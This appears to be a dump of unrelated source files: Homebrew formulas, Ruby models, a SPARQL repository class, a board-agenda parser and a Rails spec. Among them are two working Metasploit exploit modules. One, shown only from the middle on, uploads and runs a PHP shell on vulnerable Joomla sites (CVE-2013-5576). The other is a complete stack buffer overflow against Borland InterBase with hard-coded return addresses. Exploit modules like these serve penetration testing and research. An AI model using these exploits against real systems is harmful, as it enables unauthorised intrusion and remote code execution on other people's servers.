'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-5576' ],
[ 'OSVDB', '95933' ],
[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],
[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ],
[ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ],
[ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/08/15/time-to-patch-joomla' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Aug 01 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
OptString.new('USERNAME', [false, 'User to login with', '']),
OptString.new('PASSWORD', [false, 'Password to login with', '']),
], self.class)
end
def check
res = get_upload_form
if res and (res.code == 200 or res.code == 302)
if res.body =~ /You are not authorised to view this resource/
print_status("#{peer} - Joomla Media Manager Found but authentication required")
return Exploit::CheckCode::Detected
elsif res.body =~ /<form action="(.*)" id="uploadForm"/
print_status("#{peer} - Joomla Media Manager Found and authentication isn't required")
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
end
def upload(upload_uri)
begin
u = URI(upload_uri)
rescue ::URI::InvalidURIError
fail_with(Failure::Unknown, "Unable to get the upload_uri correctly")
end
data = Rex::MIME::Message.new
data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{u.path}?#{u.query}",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @cookies,
'vars_get' => {
'asset' => 'com_content',
'author' => '',
'format' => '',
'view' => 'images',
'folder' => ''
},
'data' => post_data
})
return res
end
def get_upload_form
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'cookie' => @cookies,
'encode_params' => false,
'vars_get' => {
'option' => 'com_media',
'view' => 'images',
'e_name' => 'jform_articletext',
'asset' => 'com_content',
'author' => ''
}
})
return res
end
def get_login_form
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
'cookie' => @cookies,
'vars_get' => {
'view' => 'login'
}
})
return res
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
'cookie' => @cookies,
'vars_get' => {
'task' => 'user.login'
},
'vars_post' => {
'username' => @username,
'password' => @password
}.merge(@login_options)
})
return res
end
def parse_login_options(html)
html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) {|option|
@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"
}
end
def exploit
@login_options = {}
@cookies = ""
@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
print_status("#{peer} - Checking Access to Media Component...")
res = get_upload_form
if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
print_status("#{peer} - Authentication required... Proceeding...")
if @username.empty? or @password.empty?
fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
end
@cookies = res.get_cookies.sub(/;$/, "")
print_status("#{peer} - Accessing the Login Form...")
res = get_login_form
if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
end
parse_login_options(res.body)
res = login
if not res or res.code != 303
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
end
elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
print_status("#{peer} - Authentication isn't required.... Proceeding...")
@cookies = res.get_cookies.sub(/;$/, "")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
end
print_status("#{peer} - Accessing the Upload Form...")
res = get_upload_form
if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/
upload_uri = Rex::Text.html_decode($1)
else
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
end
print_status("#{peer} - Uploading shell...")
res = upload(upload_uri)
if res.nil? or res.code != 200
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end
register_files_for_cleanup("#{@upload_name}.")
print_status("#{peer} - Executing shell...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "images", @upload_name),
})
end
end
| 33.67382 | 144 | 0.585266 |
ac0721b6d6bbd641c9bcd6f8ed17a5c8625d2c64 | 182 | class LibraryFunction
include Mongoid::Document
belongs_to :user
validates_presence_of :name, :definition
field :name, type: String
field :definition, type: String
end
| 15.166667 | 42 | 0.758242 |
bbc4edf54f26b41fe6cdbe78431da309d0d94ff3 | 557 | Pod::Spec.new do |s|
s.name = 'skpsmtpmessage'
s.version = '0.0.1'
s.license = 'Public Domain'
s.platform = :ios
s.summary = 'Quick SMTP client code for the iPhone.'
s.homepage = 'https://github.com/jetseven/skpsmtpmessage'
s.author = 'jetseven'
s.source = { :git => "https://github.com/jetseven/skpsmtpmessage.git", :commit => "2ab5021c632f46fda4c710efde5f9d73506b4693" }
s.source_files = 'SMTPLibrary/*.{h,m}'
# s.requires_arc = false
s.ios.deployment_target = '5.1'
s.ios.frameworks = 'CFNetwork'
end
| 30.944444 | 134 | 0.64991 |
bb2690ad678c0453557dabf42d85c9ebd948c370 | 5,418 | module SPARQL; class Client
##
# A read-only repository view of a SPARQL endpoint.
#
# @see RDF::Repository
class Repository < RDF::Repository
# @return [SPARQL::Client]
attr_reader :client
##
# @param [String, #to_s] endpoint
# @param [Hash{Symbol => Object}] options
def initialize(endpoint, options = {})
@options = options.dup
@client = SPARQL::Client.new(endpoint, options)
end
##
# Enumerates each RDF statement in this repository.
#
# @yield [statement]
# @yieldparam [RDF::Statement] statement
# @return [Enumerator]
# @see RDF::Repository#each
def each(&block)
unless block_given?
RDF::Enumerator.new(self, :each)
else
client.construct([:s, :p, :o]).where([:s, :p, :o]).each_statement(&block)
end
end
##
# Returns `true` if this repository contains the given subject.
#
# @param [RDF::Resource]
# @return [Boolean]
# @see RDF::Repository#has_subject?
def has_subject?(subject)
client.ask.whether([subject, :p, :o]).true?
end
##
# Returns `true` if this repository contains the given predicate.
#
# @param [RDF::URI]
# @return [Boolean]
# @see RDF::Repository#has_predicate?
def has_predicate?(predicate)
client.ask.whether([:s, predicate, :o]).true?
end
##
# Returns `true` if this repository contains the given object.
#
# @param [RDF::Value]
# @return [Boolean]
# @see RDF::Repository#has_object?
def has_object?(object)
client.ask.whether([:s, :p, object]).true?
end
##
# Iterates over each subject in this repository.
#
# @yield [subject]
# @yieldparam [RDF::Resource] subject
# @return [Enumerator]
# @see RDF::Repository#each_subject?
def each_subject(&block)
unless block_given?
RDF::Enumerator.new(self, :each_subject)
else
client.select(:s, :distinct => true).where([:s, :p, :o]).each { |solution| block.call(solution[:s]) }
end
end
##
# Iterates over each predicate in this repository.
#
# @yield [predicate]
# @yieldparam [RDF::URI] predicate
# @return [Enumerator]
# @see RDF::Repository#each_predicate?
def each_predicate(&block)
unless block_given?
RDF::Enumerator.new(self, :each_predicate)
else
client.select(:p, :distinct => true).where([:s, :p, :o]).each { |solution| block.call(solution[:p]) }
end
end
##
# Iterates over each object in this repository.
#
# @yield [object]
# @yieldparam [RDF::Value] object
# @return [Enumerator]
# @see RDF::Repository#each_object?
def each_object(&block)
unless block_given?
RDF::Enumerator.new(self, :each_object)
else
client.select(:o, :distinct => true).where([:s, :p, :o]).each { |solution| block.call(solution[:o]) }
end
end
##
# Returns `true` if this repository contains the given `triple`.
#
# @param [Array<RDF::Resource, RDF::URI, RDF::Value>] triple
# @return [Boolean]
# @see RDF::Repository#has_triple?
def has_triple?(triple)
client.ask.whether(triple.to_a[0...3]).true?
end
##
# Returns `true` if this repository contains the given `statement`.
#
# @param [RDF::Statement] statement
# @return [Boolean]
# @see RDF::Repository#has_statement?
def has_statement?(statement)
has_triple?(statement.to_triple)
end
##
# Returns the number of statements in this repository.
#
# @return [Integer]
# @see RDF::Repository#count?
def count
begin
binding = client.query("SELECT COUNT(*) WHERE { ?s ?p ?o }").first.to_hash
binding[binding.keys.first].value.to_i
rescue SPARQL::Client::MalformedQuery => e
# SPARQL 1.0 does not include support for aggregate functions:
count = 0
each_statement { count += 1 } # TODO: optimize this
count
end
end
alias_method :size, :count
alias_method :length, :count
##
# Returns `true` if this repository contains no statements.
#
# @return [Boolean]
# @see RDF::Repository#empty?
def empty?
client.ask.whether([:s, :p, :o]).false?
end
##
# Queries `self` for RDF statements matching the given `pattern`.
#
# @example
# repository.query([nil, RDF::DOAP.developer, nil])
# repository.query(:predicate => RDF::DOAP.developer)
#
# @param [Pattern] pattern
# @see RDF::Queryable#query_pattern
# @yield [statement]
# @yieldparam [Statement]
# @return [Enumerable<Statement>]
def query_pattern(pattern, &block)
pattern = pattern.dup
pattern.subject ||= RDF::Query::Variable.new
pattern.predicate ||= RDF::Query::Variable.new
pattern.object ||= RDF::Query::Variable.new
pattern.initialize!
query = client.construct(pattern).where(pattern)
if block_given?
query.each_statement(&block)
else
query.solutions.to_a.extend(RDF::Enumerable, RDF::Queryable)
end
end
##
# Returns `false` to indicate that this is a read-only repository.
#
# @return [Boolean]
# @see RDF::Mutable#mutable?
def writable?
false
end
end
end; end
| 27.927835 | 109 | 0.599852 |
18b16cbbbaee9ac73b21be74f43437aa3df9d2ab | 144 | class AddSolvedToProblems < ActiveRecord::Migration[6.0]
def change
add_column :problems, :solved?, :boolean, :default => false
end
end
| 24 | 63 | 0.729167 |
ace24ed35f38e3ea8d0aa6526a1e259425d35d56 | 2,854 | require 'formula'
class Llvm < Formula
homepage 'http://llvm.org/'
bottle do
sha1 "8136d3ef9c97e3de20ab4962f94a6c15ce5b50b2" => :mavericks
sha1 "15d12d15f17c3fa12f2b7e87ac1f70ae3eaa7e35" => :mountain_lion
sha1 "50e1d0c4a046ea14fb8c4bbd305bc7c8ccaac5bb" => :lion
end
stable do
url "http://llvm.org/releases/3.4.2/llvm-3.4.2.src.tar.gz"
sha1 "c5287384d0b95ecb0fd7f024be2cdfb60cd94bc9"
resource 'clang' do
url "http://llvm.org/releases/3.4.2/cfe-3.4.2.src.tar.gz"
sha1 "add5420b10c3c3a38c4dc2322f8b64ba0a5def97"
end
end
head do
url "http://llvm.org/svn/llvm-project/llvm/trunk", :using => :svn
resource 'clang' do
url "http://llvm.org/svn/llvm-project/cfe/trunk", :using => :svn
end
end
option :universal
option 'with-clang', 'Build Clang support library'
option 'disable-shared', "Don't build LLVM as a shared library"
option 'all-targets', 'Build all target backends'
option 'rtti', 'Build with C++ RTTI'
option 'disable-assertions', 'Speeds up LLVM, but provides less debug information'
depends_on :python => :optional
keg_only :provided_by_osx
def install
if build.with? "python" and build.include? 'disable-shared'
raise 'The Python bindings need the shared library.'
end
(buildpath/"tools/clang").install resource("clang") if build.with? "clang"
if build.universal?
ENV.permit_arch_flags
ENV['UNIVERSAL'] = '1'
ENV['UNIVERSAL_ARCH'] = Hardware::CPU.universal_archs.join(' ')
end
ENV['REQUIRES_RTTI'] = '1' if build.include? 'rtti'
args = [
"--prefix=#{prefix}",
"--enable-optimized",
# As of LLVM 3.1, attempting to build ocaml bindings with Homebrew's
# OCaml 3.12.1 results in errors.
"--disable-bindings",
]
if build.include? 'all-targets'
args << "--enable-targets=all"
else
args << "--enable-targets=host"
end
args << "--enable-shared" unless build.include? 'disable-shared'
args << "--disable-assertions" if build.include? 'disable-assertions'
system "./configure", *args
system 'make'
system 'make', 'install'
(share/'llvm/cmake').install buildpath/'cmake/modules'
# install llvm python bindings
if build.with? "python"
(lib+'python2.7/site-packages').install buildpath/'bindings/python/llvm'
(lib+'python2.7/site-packages').install buildpath/'tools/clang/bindings/python/clang' if build.with? 'clang'
end
end
test do
system "#{bin}/llvm-config", "--version"
end
def caveats
<<-EOS.undent
LLVM executables are installed in #{opt_bin}.
Extra tools are installed in #{opt_share}/llvm.
If you already have LLVM installed, then "brew upgrade llvm" might not work.
Instead, try:
brew rm llvm && brew install llvm
EOS
end
end
| 28.828283 | 114 | 0.665032 |
113ed09fc64d02297212380cbf959a1066c89491 | 58 | require './app'
require './Cat'
run Sinatra::Application
| 11.6 | 24 | 0.706897 |
21c42f2d2dbb2009d57dc8ceb1869a0c9bc34a5e | 489 | ENV['RAILS_ENV'] = 'test'
require "./config/environment"
require "rspec/rails"
require 'rack/test'
require 'database_cleaner'
require 'faker'
Dir[Rails.root.join('features/steps/common/**/*.rb')].each { |f| require f }
Spinach.hooks.before_scenario do
DatabaseCleaner.clean
end
class Spinach::FeatureSteps
include Rack::Test::Methods
include Rails.application.routes.url_helpers
include Common::Helper
include RSpec::Matchers
end
ActiveRecord::Migration.maintain_test_schema! | 23.285714 | 76 | 0.773006 |
5d854838feba058900aec5dfdbcb816b06c4fa30 | 6,054 | # Special Orders
class ASF::Board::Agenda
parse do
orders = @file.split(/^ \d. Special Orders/,2).last.
split(/^ \d. Discussion Items/,2).first
pattern = /
\n+(?<indent>\s{3,5})(?<section>[A-Z])\.
\s(?<title>.*?)\n
(?<text>.*?)
(?=\n\s{4}[A-Z]\.\s|\z)
/mx
people = []
scan orders, pattern do |attrs|
attrs['section'] = '7' + attrs['section']
title = attrs['title']
title.strip!
fulltitle = title.dup
title.sub! /^Resolution to /, ''
title.sub! /\sthe\s/, ' '
title.sub! /\sApache\s/, ' '
title.sub! /\sCommittee\s/, ' '
title.sub! /\sProject(\s|$)/i, '\1'
title.sub! /\sPMC(\s|$)/, '\1'
if title =~ /^Establish .* \((.*)\)$/
title.sub! /\s.*?\(/, ' '
title.sub! /\)$/, ''
else
title.sub! /\s\(.*\)$/, ''
end
attrs['fulltitle'] = fulltitle if title != fulltitle
text = attrs['text']
attrs['digest'] = Digest::MD5.hexdigest(text.strip)
attrs['warnings'] = []
if attrs['indent'] != ' '
attrs['warnings'] << 'Heading is not indented 4 spaces'
end
if text.sub(/s+\Z/,'').scan(/^ *\S/).map(&:length).min != 8
attrs['warnings'] << 'Resolution is not indented 7 spaces'
end
title_checks = {
/^Establish/i => /^Establish the Apache .* (Project|Committee)$/,
/^Change.*Chair/i => /^Change the Apache .* Project Chair$/,
/^Terminate/i => /^Terminate the Apache .* Project$/,
}
title_checks.each do |select, match|
if fulltitle =~ select and fulltitle !~ match and
fulltitle =~ /chair|project|committee/i
then
attrs['warnings'] <<
"Non-standard title wording: #{fulltitle.inspect}; " +
"expected #{match.inspect}"
end
end
attrs.delete 'indent'
attrs.delete 'warnings' if attrs['warnings'].empty?
next if @quick
asfid = '[a-z][-.a-z0-9_]+' # dot added to help detect errors
list_item = '^[[:blank:]]*(?:[-*\u2022]\s*)?(.*?)[[:blank:]]+'
people = text.scan(/#{list_item}\((#{asfid})\)\s*$/)
people += text.scan(/#{list_item}\((#{asfid})(?:@|\s*at\s*)
(?:\.\.\.|apache\.org|apache\sdot\sorg)\)\s*$/xi)
people += text.scan(/#{list_item}<(#{asfid})(?:@|\s*at\s*)
(?:\.\.\.|apache\.org|apache\sdot\sorg)>\s*$/xi)
need_chair = false
whimsy = 'https://whimsy.apache.org'
if title =~ /Change (.*?) Chair/ or title =~ /Terminate (\w+)$/
people.clear
committee = ASF::Committee.find($1)
attrs['roster'] =
"#{whimsy}/roster/committee/#{CGI.escape committee.name}"
attrs['stats'] =
"https://reporter.apache.org/?#{CGI.escape committee.name}"
attrs['prior_reports'] = minutes(committee.display_name)
ids = text.scan(/\((\w[-.\w]+)\)/).flatten
unless ids.empty?
ids.each do |id|
person = ASF::Person.find(id)
people << [person.public_name, id] if person.icla
end
end
next unless committee.names
committee.names.each do |id, name|
people << [name, id] if text.include? name or title.include? 'Term'
end
if people.length < 2 and not title.start_with? 'Terminate'
attrs['warnings'] ||= ['Unable to match expected number of names']
attrs['names'] = committee.names
end
if title =~ /Change (.*?) Chair/
need_chair = true
elsif committee.chair # Terminate
attrs['chair'] = committee.chair.id
end
elsif title =~ /Establish (.*)/
name = $1
attrs['prior_reports'] =
"#{whimsy}/board/minutes/#{name.gsub(/\W/,'_')}"
if text.scan(/[<(][-.\w]+@(?:[-\w]+\.)+\w+[>)]/).
any? {|email| not email.include? 'apache.org'}
then
attrs['warnings'] ||= ['non apache.org email address found']
end
need_chair = true if fulltitle =~ /chair|project|committee/i
end
if need_chair
if text =~ /(BE IT|FURTHER) RESOLVED, that\s+([^,]*?),?\s+be\b/
chairname = $2.gsub(/\s+/, ' ').strip
if chairname =~ /\s\(([-.\w]+)\)$/
# if chair's id is present in parens, use that value
attrs['chair'] = $1 unless $1.empty?
chairname.sub! /\s+\(.*\)$/, ''
else
# match chair's name against people in the committee
chair = people.find {|person| person.first == chairname}
attrs['chair'] = (chair ? chair.last : nil)
end
unless people.include? [chairname, attrs['chair']]
if people.empty?
attrs['warnings'] ||= ['Unable to locate PMC email addresses']
elsif attrs['chair']
attrs['warnings'] ||= ['Chair not member of PMC']
else
attrs['warnings'] ||= ['Chair not found in resolution']
end
end
else
attrs['warnings'] ||= ['Chair not found in resolution']
end
elsif title =~ /^Appoint /
if text =~ /FURTHER\s+RESOLVED, that\s+([^,]*?),?\s+be\b/i
chairname = $1.gsub(/\s+/, ' ').strip
chair = ASF.search_one(ASF::Person.base, "cn=#{chairname}")
attrs['chairname'] = chairname
attrs['chair'] = chair.first['uid'].first if chair.length == 1
end
if attrs['chair']
people = [[chairname, attrs['chair']]]
elsif chairname
attrs['warnings'] ||=
["#{chairname.inspect} doesn't match public name"]
else
attrs['warnings'] ||= ['Officer name not found']
end
end
people.map! do |name, id|
person = ASF::Person.new(id)
icla = person.icla
[id, {name: name, icla: icla ? person.icla.name : false,
member: person.asf_member?}]
end
attrs['people'] = Hash[people] unless people.empty?
end
end
end
| 32.724324 | 77 | 0.511563 |
ac7220991682d3f89c1efc24d72505e458d9e73d | 1,581 | class Lxsplit < Formula
desc "Tool for splitting or joining files"
homepage "https://lxsplit.sourceforge.io/"
url "https://downloads.sourceforge.net/project/lxsplit/lxsplit/0.2.4/lxsplit-0.2.4.tar.gz"
sha256 "858fa939803b2eba97ccc5ec57011c4f4b613ff299abbdc51e2f921016845056"
license "GPL-2.0"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "7a37c06c81b1160f5fee4c742537310afe07cccac1251384739f4340189ec4a2"
sha256 cellar: :any_skip_relocation, big_sur: "6fc68ea7f529c0d6d5a5efb98f9644c93cfb6472798e1686a4384be56381bfcd"
sha256 cellar: :any_skip_relocation, catalina: "8f2c02d85a1aec1e2ec692564896c668cb6d7c4cd28b0d3b1f08da1be7070b07"
sha256 cellar: :any_skip_relocation, mojave: "ffc9b9b7e9669e1cff8a46b3930d052ffa149179897134439b1228d8ee178777"
sha256 cellar: :any_skip_relocation, high_sierra: "da1b73f5843b77ce947ce546fb77a47f2c1b989efbf70fdd61b9d05f81a386b5"
sha256 cellar: :any_skip_relocation, sierra: "f4d271c94546ca73b9e5262ff53bf7b51dcde2a83998d5a2e4b663109f2f69d8"
sha256 cellar: :any_skip_relocation, el_capitan: "25699d54183a01f446015fb02521a50b3967ef2d250e56bb1fe3fd0a5aaec2e1"
sha256 cellar: :any_skip_relocation, yosemite: "d7d8d9eb204599056a4e109c63114c90e3be797d2be700e114cc3675d8eba0bb"
sha256 cellar: :any_skip_relocation, x86_64_linux: "10c851e0f17adfd0985dc049a29d806953bea2dfff0420002ad0c31da71eb0ab" # linuxbrew-core
end
def install
bin.mkpath
inreplace "Makefile", "/usr/local/bin", bin
system "make"
system "make", "install"
end
end
| 58.555556 | 139 | 0.810247 |
f73f873517eaf019b82e3c1c60a2d1b494bee696 | 255 | module Coprl::Presenters::WebClient::Helpers
module HtmlSafe
def html_safe(string)
# This is for rails ... it requires that html safe strings be marked as safe
string.respond_to?(:html_safe) ? string.html_safe : string
end
end
end
| 28.333333 | 82 | 0.709804 |
396719b3cfdbb514d1413a5d88555edaf6a26afc | 118 | module Ecm
module Courses
class Engine < ::Rails::Engine
isolate_namespace Ecm::Courses
end
end
end
| 14.75 | 36 | 0.677966 |
f88a462e34803e8e0ad2b68e8d62b3805adafbaa | 260 | class Api::V1::ApiController < ApplicationController
before_action :doorkeeper_authorize!
private
# Find the user that owns the access token
def current_resource_owner
User.find(doorkeeper_token.resource_owner_id) if doorkeeper_token
end
end
| 23.636364 | 69 | 0.796154 |
87d580e980b54df8bf984ad1152e5135268e208e | 2,942 | class Sbcl < Formula
desc "Steel Bank Common Lisp system"
homepage "http://www.sbcl.org/"
url "https://downloads.sourceforge.net/project/sbcl/sbcl/2.0.0/sbcl-2.0.0-source.tar.bz2"
sha256 "90369256805d437c82ab9bdab9a410076f57810a50bb2b228de4e6c892692fcf"
bottle do
sha256 "f82280dbc14d90e9fbe4f7ad922a4882cb1f9476cf41a205ff652d684d4c853c" => :catalina
sha256 "4ed638f2fb8e35bb9dab239585732a1c14a2972282ca22986f982e29afc67b25" => :mojave
sha256 "073cad98e43a7f75350820fedfec15dc2560f5ab25ae749be101da917c50873b" => :high_sierra
sha256 "2396f85e5458d7ce4ccf5c87575b07293f4509d1198d34ade23274a5ae895857" => :x86_64_linux
end
uses_from_macos "zlib"
# Current binary versions are listed at https://sbcl.sourceforge.io/platform-table.html
resource "bootstrap64" do
if OS.mac?
url "https://downloads.sourceforge.net/project/sbcl/sbcl/1.2.11/sbcl-1.2.11-x86-64-darwin-binary.tar.bz2"
sha256 "057d3a1c033fb53deee994c0135110636a04f92d2f88919679864214f77d0452"
elsif OS.linux?
url "https://downloads.sourceforge.net/project/sbcl/sbcl/1.3.3/sbcl-1.3.3-x86-64-linux-binary.tar.bz2"
sha256 "e8b1730c42e4a702f9b4437d9842e91cb680b7246f88118c7443d7753e61da65"
end
end
patch :p0 do
url "https://raw.githubusercontent.com/Homebrew/formula-patches/c5ffdb11/sbcl/patch-make-doc.diff"
sha256 "7c21c89fd6ec022d4f17670c3253bd33a4ac2784744e4c899c32fbe27203d87e"
end
def install
# Remove non-ASCII values from environment as they cause build failures
# More information: https://bugs.gentoo.org/show_bug.cgi?id=174702
ENV.delete_if do |_, value|
ascii_val = value.dup
ascii_val.force_encoding("ASCII-8BIT") if ascii_val.respond_to? :force_encoding
ascii_val =~ /[\x80-\xff]/n
end
tmpdir = Pathname.new(Dir.mktmpdir)
tmpdir.install resource("bootstrap64")
command = "#{tmpdir}/src/runtime/sbcl"
core = "#{tmpdir}/output/sbcl.core"
xc_cmdline = "#{command} --core #{core} --disable-debugger --no-userinit --no-sysinit"
args = [
"--prefix=#{prefix}",
"--xc-host=#{xc_cmdline}",
"--with-sb-core-compression",
"--with-sb-ldb",
"--with-sb-thread",
]
ENV["SBCL_MACOSX_VERSION_MIN"] = MacOS.version
system "./make.sh", *args
ENV["INSTALL_ROOT"] = prefix
system "sh", "install.sh"
# Install sources
bin.env_script_all_files(libexec/"bin", :SBCL_SOURCE_ROOT => pkgshare/"src")
pkgshare.install %w[contrib src]
(lib/"sbcl/sbclrc").write <<~EOS
(setf (logical-pathname-translations "SYS")
'(("SYS:SRC;**;*.*.*" #p"#{pkgshare}/src/**/*.*")
("SYS:CONTRIB;**;*.*.*" #p"#{pkgshare}/contrib/**/*.*")))
EOS
end
test do
(testpath/"simple.sbcl").write <<~EOS
(write-line (write-to-string (+ 2 2)))
EOS
output = shell_output("#{bin}/sbcl --script #{testpath}/simple.sbcl")
assert_equal "4", output.strip
end
end
| 36.775 | 111 | 0.698165 |
7a177f14176dd5d74eb01e19037c2384c4a4e753 | 4,340 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::BruteTargets
def initialize(info = {})
super(update_info(info,
'Name' => 'Borland InterBase SVC_attach() Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Borland InterBase
by sending a specially crafted service attach request.
},
'Author' =>
[
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38605' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Brute Force', { } ],
# 0x00403d4b pop esi; pop ebp; ret
[
'Borland InterBase WI-V8.1.0.257',
{ 'Length' => [ 3660, 3664 ], 'Ret' => 0x00403d4b }
],
# 0x00403d4d pop esi; pop ebp; ret
[
'Borland InterBase WI-V8.0.0.123',
{ 'Length' => [ 3660, 3664 ], 'Ret' => 0x00403d4d }
],
# 0x00403a5d pop esi; pop ebp; ret
[
'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80',
{ 'Length' => [ 3660, 3664 ], 'Ret' => 0x00403a5d }
],
# 0x004038fd pop esi; pop ebp; ret
[
'Borland InterBase WI-V7.0.1.1',
{ 'Length' => [ 3660, 3664 ], 'Ret' => 0x004038fd }
],
# 0x0040390d pop esi; pop ebp; ret
[
'Borland InterBase WI-V6.5.0.28',
{ 'Length' => [ 2116, 2120], 'Ret' => 0x0040390d }
],
# 0x00403901 pop esi; pop ebp; ret
[
'Borland InterBase WI-V6.0.1.6',
{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403901 }
],
# 0x004038b1 pop esi; pop ebp; ret
[
'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0',
{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x004038b1 }
],
# 0x00404a10 pop esi; pop ebp; ret
[
'Borland InterBase WI-V5.5.0.742',
{ 'Length' => [ 2216, 2120 ], 'Ret' => 0x00404a10 }
],
# 0x00404a0e pop esi; pop ebp; ret
[
'Borland InterBase WI-V5.1.1.680',
{ 'Length' => [ 2120, 2124 ], 'Ret' => 0x00404a0e }
],
# Debug
[
'Debug',
{ 'Length' => [ 2120 ], 'Ret' => 0xaabbccdd }
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 03 2007'
))
register_options(
[
Opt::RPORT(3050)
],
self.class
)
end
def exploit_target(target)
target['Length'].each do |length|
connect
# Service attach
op_service_attach = 82
remainder = length.remainder(4)
padding = 0
if remainder > 0
padding = (4 - remainder)
end
buf = ''
# Operation/packet type
buf << [op_service_attach].pack('N')
# Id
buf << [0].pack('N')
# Length
buf << [length].pack('N')
# Nop block
buf << make_nops(length - payload.encoded.length - 13)
# Payload
buf << payload.encoded
# Jump back into the nop block
buf << "\xe9" + [-1028].pack('V')
# Jump back
buf << "\xeb" + [-7].pack('c')
# Random alpha data
buf << rand_text_alpha(2)
# Target
buf << [target.ret].pack('V')
# Padding
buf << "\x00" * padding
# Database parameter block
# Length
buf << [1024].pack('N')
# Random alpha data
buf << rand_text_alpha(1024)
sock.put(buf)
select(nil,nil,nil,4)
handler
end
end
end
| 24.24581 | 82 | 0.479263 |
4af597bf5fa3a2e3a3505ed132e0af1d8c2d93c4 | 15,945 | require 'rails_helper'
describe TwoFactorAuthentication::OtpVerificationController do
describe '#show' do
context 'when resource is not fully authenticated yet' do
before do
sign_in_before_2fa
end
context 'when FeatureManagement.prefill_otp_codes? is true' do
it 'sets code_value on presenter to correct OTP value' do
presenter_data = attributes_for(:generic_otp_presenter)
TwoFactorAuthCode::PhoneDeliveryPresenter.new(
data: presenter_data,
view: ActionController::Base.new.view_context,
)
allow(FeatureManagement).to receive(:prefill_otp_codes?).and_return(true)
get :show, params: { otp_delivery_preference: 'sms' }
expect(assigns(:presenter).code_value).to eq(subject.current_user.direct_otp)
end
end
context 'when FeatureManagement.prefill_otp_codes? is false' do
it 'does not set @code_value' do
allow(FeatureManagement).to receive(:prefill_otp_codes?).and_return(false)
get :show, params: { otp_delivery_preference: 'sms' }
expect(assigns(:code_value)).to be_nil
end
end
end
it 'tracks the page visit and context' do
user = build_stubbed(:user, :with_phone, with: { phone: '+1 (703) 555-0100' })
stub_sign_in_before_2fa(user)
stub_analytics
analytics_hash = {
context: 'authentication',
multi_factor_auth_method: 'sms',
confirmation_for_add_phone: false,
phone_configuration_id: subject.current_user.default_phone_configuration.id,
}
expect(@analytics).to receive(:track_event).
with(Analytics::MULTI_FACTOR_AUTH_ENTER_OTP_VISIT, analytics_hash)
get :show, params: { otp_delivery_preference: 'sms' }
end
context 'when there is no session (signed out or locked out), and the user reloads the page' do
it 'redirects to the home page' do
expect(controller.user_session).to be_nil
get :show, params: { otp_delivery_preference: 'sms' }
expect(response).to redirect_to(new_user_session_path)
end
end
it 'redirects to phone setup page if user does not have a phone yet' do
user = build_stubbed(:user)
stub_sign_in_before_2fa(user)
get :show, params: { otp_delivery_preference: 'sms' }
